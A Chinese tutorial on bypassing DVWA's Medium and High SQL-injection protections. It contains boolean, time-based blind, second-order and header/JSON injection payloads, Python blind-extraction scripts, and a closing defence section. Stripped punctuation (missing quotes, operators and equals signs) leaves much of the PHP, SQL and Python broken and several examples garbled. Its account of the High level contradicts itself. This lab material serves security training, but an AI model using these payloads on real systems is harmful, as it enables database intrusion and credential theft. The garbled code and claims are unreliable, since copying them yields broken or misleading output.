
1. DVWA SQL注入实验概述DVWADamn Vulnerable Web Application是一个专门用于安全测试的PHP/MySQL Web应用程序它包含了多种常见Web漏洞的模拟环境。其中SQL注入模块设置了从Low到High四个难度级别每个级别都实现了不同的防护措施。本实验将重点分析Medium和High级别的防护机制及其绕过方法。Medium级别在Low基础上增加了以下防护对用户输入进行了mysql_real_escape_string()转义处理限制了部分特殊字符的使用采用了数字型参数处理High级别则进一步强化了防护使用了预处理语句PDO实施了严格的字符过滤加入了CSRF令牌验证实验环境准备需预先安装配置好DVWA建议使用Kali Linux内置版本或Docker部署将安全级别调整为对应难度。测试账号通常为admin/password。2. Medium级别绕过技术详解2.1 数字型注入特征分析Medium级别虽然使用了mysql_real_escape_string()但由于处理的是数字型参数转义机制存在天然缺陷。通过Burp Suite抓包可见参数传递形式GET /dvwa/vulnerabilities/sqli/?id1SubmitSubmit HTTP/1.1关键验证代码如下$id $_GET[id]; $id mysql_real_escape_string($id); $getid SELECT first_name, last_name FROM users WHERE user_id $id;2.2 绕过方案实测方案1算术表达式注入11 → 等效于2 1-1 → 等效于0 1%2F1 → 除法运算URL编码后方案2位运算注入1|1 → 按位或 11 → 按位与 ~1 → 按位取反方案3科学计数法注入1e0 → 1×10^0 1E1 → 1×10^1实测payload示例1 AND (SELECT COUNT(*) FROM information_schema.tables) 0 1 OR ASCII(SUBSTRING(database(),1,1)) 972.3 信息获取技巧分步获取数据库信息确定数据库版本1 AND version LIKE 5%获取表名1 AND (SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1) LIKE a%提取字段内容1 AND (SELECT CONCAT(user,:,password) FROM users LIMIT 0,1) LIKE admin%注意事项Medium级别会拦截部分特殊符号建议使用LIKE替代用CONCAT_WS替代CONCAT避免逗号过滤。3. High级别突破方法3.1 会话限制分析High级别引入了CSRF令牌和严格的输入验证$id $_SESSION[id]; $stmt $pdo-prepare(SELECT first_name, last_name FROM users WHERE user_id :id); $stmt-bindParam(:id, $id, PDO::PARAM_INT);3.2 二次注入技术虽然直接注入被阻断但可通过以下步骤实现攻击在用户注册等环节插入恶意数据利用应用程序自身逻辑触发恶意SQL典型payloadadmin AND (SELECT 1 FROM (SELECT SLEEP(5))x)--3.3 时间盲注实现当常规注入失效时可采用基于时间的盲注1 AND IF(ASCII(SUBSTRING(database(),1,1))100,SLEEP(5),0)--使用Python自动化检测脚本import requests import time url http://dvwa.test/vulnerabilities/sqli/ cookies {PHPSESSID: your_session_id, security: high} def check_char(pos): for i in range(32, 127): payload f1 AND IF(ASCII(SUBSTRING(database(),{pos},1)){i},SLEEP(2),0)-- start time.time() requests.get(url, params{id: payload, Submit: Submit}, cookiescookies) if time.time() - start 1.5: return chr(i) return None4. 防御方案设计4.1 输入验证策略白名单验证示例if (!preg_match(/^[0-9]$/, $_GET[id])) { die(Invalid input); }类型强制转换$id (int)$_GET[id];4.2 预处理语句最佳实践PDO正确用法$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$_GET[id]]);存储过程示例CREATE PROCEDURE get_user(IN uid INT) BEGIN SELECT * FROM users WHERE id uid; END4.3 深度防御措施应用层防护实施最小权限原则启用SQL日志审计使用ORM框架系统层防护配置WAF规则location / { ModSecurityEnabled on; ModSecurityConfig modsecurity.conf; }定期更新数据库补丁开发规范禁止动态拼接SQL统一使用参数化查询进行安全代码审查5. 实战问题排查指南5.1 常见错误现象现象可能原因解决方案500错误特殊字符未转义检查magic_quotes设置无结果返回过滤规则拦截尝试编码绕过结果截断长度限制使用SUBSTRING分批获取5.2 性能优化技巧减少查询次数SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase()使用二进制搜索加速盲注def binary_search(pos): low, high 32, 127 while low high: mid (low high) // 2 payload f1 AND ASCII(SUBSTRING(database(),{pos},1)){mid}-- if check_condition(payload): low mid 1 else: high mid - 1 return chr(low)5.3 高级绕过技术HTTP参数污染?id1id2 UNION SELECT 1,2--JSON注入{id:1 UNION SELECT 1,2-- }HTTP头部注入X-Forwarded-For: 127.0.0.1 AND (SELECT 1 FROM users WHERE useradmin)--在实际渗透测试中这些技术需要根据具体场景组合使用。建议先在测试环境充分验证避免对生产系统造成影响。